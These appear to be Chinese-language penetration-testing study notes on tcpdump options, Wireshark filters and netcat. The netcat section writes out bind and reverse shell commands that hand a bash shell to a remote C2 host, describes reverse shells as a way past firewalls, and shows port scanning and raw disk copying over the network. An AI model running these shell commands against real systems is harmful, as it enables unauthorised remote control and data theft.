两节内容一摸一样,在填充内容吗
两节内容一摸一样,在填充内容吗
tcpdump
linux和unix自带的CLI抓包工具
默认只抓每个包的钱68字节
使用实例
tcpdump
-i : 使用的接口
-s : size,抓的包的大小,写0的话是有多大,抓多大
-w : write, 写到哪个文件
-r : read 读一个文件
-A : 以ASCII 码的形式显示内容
-X : 显示内容,格式类似与wireshark
-n : 显示IP的时候不做DNS解析
tcpdump -n dst host x.x.x.x -r httpcaptures.cap 目的地址为(dst host)x.x.x.x的包
tcpdump -n port 53 -r httpcaptures.cap DNS流量
tcpdump -n -X ‘tcp[13]=24’ 可以把包里的TCP的部分做为一个srt
wireshark
筛选器
注意,在选择capture的时候,要在option里把杂合端口的选项勾上,才能进行杂合模式的抓包
wireshark有两种筛选器
1. 抓包筛选器
2. 显示筛选器
在包结构中,右键指定的区域,可以加到筛选器里
筛选器语法实例
(udp) && !(ip.dst==192.168.1.1)
=== nc 做远程控制 ===
原理实际上和之前的传文本一样,服务器端起监听,客户端端去链接,之后监听的服务器端传一个自己的shell过去到客户端
正向:侦听方为肉鸡,C2 访问肉鸡
SERVER: nc -lp 333 -c bash
CLIENT: nc -nv 1.1.1.1 333
或者反向:侦听方为C2,肉鸡访问C2
SERVER :nc -lp 333
CLIENT : nc -nv 1.1.1.1 333 -c bash
-c shell command。也就是要使用的shell。windows下用cmd
注意,谁使用-c bash,谁就是肉鸡。肉鸡发 shell。反向的可以用来穿墙。因为是从肉鸡,从内网,向外(攻击者的C2电脑)发起访问。
类似的原理可以用在其他协议的穿墙上。比如ftp的passive和active mode
root@kali:~/Documents# nc -h
[v1.10-41]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-b allow broadcasts
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-k set keepalive option on socket
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-q secs quit after EOF on stdin and delay of secs
-s addr local source address
-T tos set Type Of Service
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-C Send CRLF as line-ending
-z zero-I/O mode [used for scanning]
=== NC ===
nc 在做传输的时候可以被认为是一个简单的管道,可以直接传输输入其中的内同到被监听的端口。作用类似管道符 |
cat xxx.mp4 | nc -lp 333
读取xxx.mp4,然后送进管道
开启一个nc进程,通过333进行通讯
将管道中的xxx.mp4,作为输入,发送给nc的进程。nc会通过自己的端口333向外输出。
nc -nv 1.1.1.1 333 | mplayer -vo x11 -cache -3000
nc起一个进程,主动去联1.1.1.1 的333端口
此时1.1.1.1 的333正在输出流媒体
nc的进程得到流媒体的数据,将之装如管道
启动mplayer,(一个流媒体播放器,非kali自带)。播放器从管道得到流媒体数据,作为输入。然后自己的输出就是在本地播放视频
=== nc 做扫描 ===
nc -nvz 1.1.1.1 1-1024
选项z: 扫描模式。不会有后续的输出
选项后面是参数 IP 和端口
输出的内容只有open与否
=== nc 复制硬盘 ===
nc -lp 333 | dd of-/dev/sda
dd if=/dev/sda | nc -nv 1.1.1.1 333 -q